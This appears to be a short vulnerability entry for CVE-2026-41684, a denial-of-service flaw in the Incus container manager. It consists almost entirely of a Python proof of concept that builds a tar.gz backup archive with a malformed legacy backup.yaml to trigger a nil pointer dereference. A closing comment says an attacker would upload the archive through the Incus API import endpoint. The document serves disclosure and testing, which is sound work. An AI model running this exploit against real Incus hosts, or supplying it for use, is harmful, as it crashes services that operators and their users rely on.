CVE-2026-41684 Incus拒绝服务漏洞

# This is a conceptual PoC to generate a malicious backup archive structure. # It creates a tarball with a valid index.yaml but a malformed legacy backup.yaml. import tarfile import io import yaml # 1. Create a valid inline index.yaml index_data = { 'config': {}, 'container': None, # Valid struct for inline 'pool': 'default' } index_yaml = yaml.dump(index_data) # 2. Create a malformed legacy backup.yaml (missing container section) # This simulates the payload that triggers the nil pointer dereference legacy_data = { 'config': {}, # 'container' key is intentionally missing or malformed } legacy_yaml = yaml.dump(legacy_data) # 3. Build the tar archive in memory with tarfile.open("malicious_backup.tar.gz", "w:gz") as tar: # Add valid inline config index_bytes = index_yaml.encode('utf-8') index_info = tarfile.TarInfo(name='backup/index.yaml') index_info.size = len(index_bytes) tar.addfile(index_info, io.BytesIO(index_bytes)) # Add malformed legacy config legacy_bytes = legacy_yaml.encode('utf-8') legacy_info = tarfile.TarInfo(name='backup/container/backup.yaml') legacy_info.size = len(legacy_bytes) tar.addfile(legacy_info, io.BytesIO(legacy_bytes)) print("Malicious backup archive generated: malicious_backup.tar.gz") # An attacker would upload this file via the Incus API import endpoint.